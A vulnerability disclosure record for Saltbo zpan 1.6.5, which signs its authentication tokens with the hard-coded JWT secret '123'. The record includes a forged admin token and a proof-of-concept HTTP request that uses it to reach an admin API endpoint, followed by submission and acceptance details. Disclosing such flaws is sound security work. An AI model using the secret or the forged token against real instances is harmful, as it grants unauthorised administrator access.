提交 #608447: Saltbo zpan 1.6.5 Hard-coded Credentials

# Summary
A critical security vulnerability has been identified in Saltbo/zpan v1.6.5, where the system uses a hardcoded JWT (JSON Web Token) secret key "123" for token signing. This implementation flaw allows attackers to forge valid authentication tokens, bypassing security controls and gaining unauthorized access to any zpan instance running this version.

# Details
The vulnerability stems from the use of a static HMAC-SHA512 (HS512) secret key ("123") for JWT signing in the z-token authentication mechanism.

**Algorithm:** HS512 (HMAC-SHA512)
**Hardcoded Secret Key:** 123
**Sample Admin JWT Token:**
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJ6cGxhdFVzZXJzIiwiZXhwIjoxNzUyMTQwMTkxLCJpYXQiOjE3NTE1MzUzOTEsImlzcyI6InpwbGF0IiwibmJmIjoxNzUxNTM1MzkxLCJzdWIiOiIxIiwicm9sZXMiOlsiYWRtaW4iXX0.lhYjZpv4PAZSeq2zaLJDSgXvV5Lef2sArafHA2PQnTCeeUDT0yvPkG3qv5axKLBj-AeeAjWz3Y57_rrTavP4g

# POC

```
GET /api/system/options/core.email HTTP/1.1
Host: target-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: z-token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJ6cGxhdFVzZXJzIiwiZXhwIjoxNzUyMTQwMDg5LCJpYXQiOjE3NTE1MzUyODksImlzcyI6InpwbGF0IiwibmJmIjoxNzUxNTM1Mjg5LCJzdWIiOiIxIiwicm9sZXMiOlsiYWRtaW4iXX0.a_B2Kzq9ZIi3-kqz0VcIsqX39Abn_Je2TUl_gt67ZkpbKt31hwa-vvrS9H2LIw2n7TmJwtk59tmsVkk9wQiZxQ;
Connection: keep-alive

```

• 来源: ⚠️ https://github.com/saltbo/zpan/issues/219
• 用户: jiashenghe (UID 39445)
• 提交: 2025-07-03 12時07分 (1 年前)
• 管理: 2025-07-11 10時50分 (8 days later)
• 状态: 已接受
• VulDB条目: 316097 [saltbo zpan 直到 1.6.5/1.7.0-beta2 JSON Web Token token.go NewToken 弱身份验证]
• 积分: 20